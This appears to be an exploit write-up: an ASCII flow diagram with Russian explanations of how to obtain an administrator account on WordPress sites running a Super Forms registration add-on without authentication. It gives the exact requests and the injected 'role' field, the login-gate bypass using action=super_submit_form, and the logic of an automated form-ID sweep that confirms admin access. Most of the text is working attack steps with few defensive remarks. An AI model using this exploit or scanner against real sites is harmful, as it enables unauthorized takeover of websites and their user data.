GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login add-on)
        │
$other_userdata = array( ..., 'role', ... )   ◄── client key whitelisted
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role overwritten)
        │
wp_insert_user()  ──►  🔥 administrator account, zero authentication

Аддон копирует $data['role']['value'] напрямую в массив данных пользователя, не проверяя его на соответствие настроенному администратором register_user_role, без allow-list и без какой-либо проверки прав — достаточно одного внедрённого поля "role": {"value":"administrator"}.

POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── the magic field
        │
check_user_login_status()  ──► pending/blocked gate SKIPPED
        │
GET /wp-admin/users.php
        │
200 = administrator proven  ·  403 = subscriber (patched build)

Аддон применяет свой шлюз активации по email / модерации только тогда, когда POST-действие НЕ равно super_submit_form — поэтому то же действие формы, которое регистрирует пользователя, также открывает возможность входа под ним, ещё до какой-либо проверки email.

discovery empty (REST · sitemap · links · ?page_id probe)
        │
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
        │                       (shared sessions would invalidate each nonce)
        │
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
        │
every accepted candidate ──► login proof per id
        │
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator

Формы, не являющиеся регистрационными, также отвечают error:false, поэтому каждый принятый id — лишь кандидат, пока учётные данные не подтверждены реальным входом.